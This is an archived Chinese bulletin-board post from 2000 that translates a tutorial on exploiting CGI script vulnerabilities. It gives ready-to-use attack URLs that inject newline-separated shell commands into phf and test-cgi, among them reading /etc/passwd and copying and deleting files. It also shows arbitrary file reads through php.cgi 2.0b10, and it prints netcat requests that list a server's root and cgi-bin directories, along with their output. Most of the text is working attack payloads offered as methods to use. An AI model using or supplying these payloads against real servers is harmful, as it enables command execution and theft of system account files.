发信人: iamu()
整理人: williamlong(2000-03-07 19:00:17), 站内信件
|
CGI漏洞的利用(一)
CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破P CWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点 看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来 信告诉我:[email protected]
一、phf.cgi攻击:
phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对 它不了解以至于造成了漏洞。在浏览器中输入:
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
可以显示出PASSWD文档来。其实还可以用更好的命令来实现目的:
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnick na
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qnam e=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/pass wd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qna me
=haqr&Qemail=&Qnickname=&Qoffice_phone=
以上等于执行了命令:
id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
(用普通的可以进入的目录来看passwd)
rm ~someuser/passwd
二、php.cgi
除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许 anyone以
HTTP管理员身份读系统文件,在浏览器中输入:
http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd
就可以看到想看的文件。
另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128b ytes的缓冲区中,造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。
但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。 想检查能否运行,只要在浏览器中输入:
http://hostname/cgi-bin/php.cgi
如果你看到返回这样的字样就可以运行:
PHP/FI Version 2.0b10
...
三、test-cgi的问题
test-cgi同样是个常常出现的漏洞,在浏览器中输入:
http://thegnome.com/cgi-bin/test-cgi?\whatever
将会返回:
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
再来一次,这样输入:
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
看到PASSWD了?
用netcat 80 端口 进行攻击:
machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is /\*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
显示出了根目录!这样试试:
machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
显示了/CGI-BIN/目录下的东西。
——————————————————————————————————— ———————
以上文章由darksun成员ISNO翻译,如转载请保持文章完整。http://isno.yeah. net
-- =====================================================
黑客=安全??http://isno.yeah.net
=====================================================
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.99.62.155]
|
|